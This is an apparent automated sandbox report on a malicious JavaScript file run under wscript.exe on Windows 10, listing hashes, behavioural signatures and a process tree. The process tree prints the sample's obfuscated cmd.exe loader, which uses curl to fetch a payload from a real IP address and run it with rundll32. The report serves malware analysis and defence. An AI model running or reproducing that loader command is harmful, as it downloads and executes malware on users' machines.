Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-10-2023 09:42

General

  • Target

    Accusamusb.js

  • Size

    110KB

  • MD5

    8e2e739c4d82679045abc9913b67d306

  • SHA1

    5902e8d5e9c5a31e5198fec86a1070cb413add2b

  • SHA256

    6a5c52a0506c17e85b2e86dcaecb33f9d4464fb8ff3ea27b4e1801bd7d6eb12b

  • SHA512

    ea36f33ef41fdb0077400f84e176d905076980a0e1d14696f6bbda990f83ae74af965bd57f8bcb3def79196418a2f13b98208bb8e3d0a6cb5fd87a05183c44bf

  • SSDEEP

    1536:7r+CP7O9wolzok2Tr0/+AIviC5UDfp1UsNdvb/Qv:ntO967AIaCWDvdvb/U

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Accusamusb.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c LC || echO LC & pInG LC || cUrl http://188.34.192.184/76DKN6/plast -o %TmP%\LC.sct & pInG -n 3 LC || RUNDLL32 %TmP%\LC.sct, Crash & eXit KCqBSVojsBqrwoS
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Windows\system32\PING.EXE
        pInG LC
        3⤵
        • Runs ping.exe
        PID:4952
      • C:\Windows\system32\curl.exe
        cUrl http://188.34.192.184/76DKN6/plast -o C:\Users\Admin\AppData\Local\Temp\LC.sct
        3⤵
          PID:5052
        • C:\Windows\system32\PING.EXE
          pInG -n 3 LC
          3⤵
          • Runs ping.exe
          PID:1320
        • C:\Windows\system32\rundll32.exe
          RUNDLL32 C:\Users\Admin\AppData\Local\Temp\LC.sct, Crash
          3⤵
            PID:1940

      Network

      MITRE ATT&CK Enterprise v15

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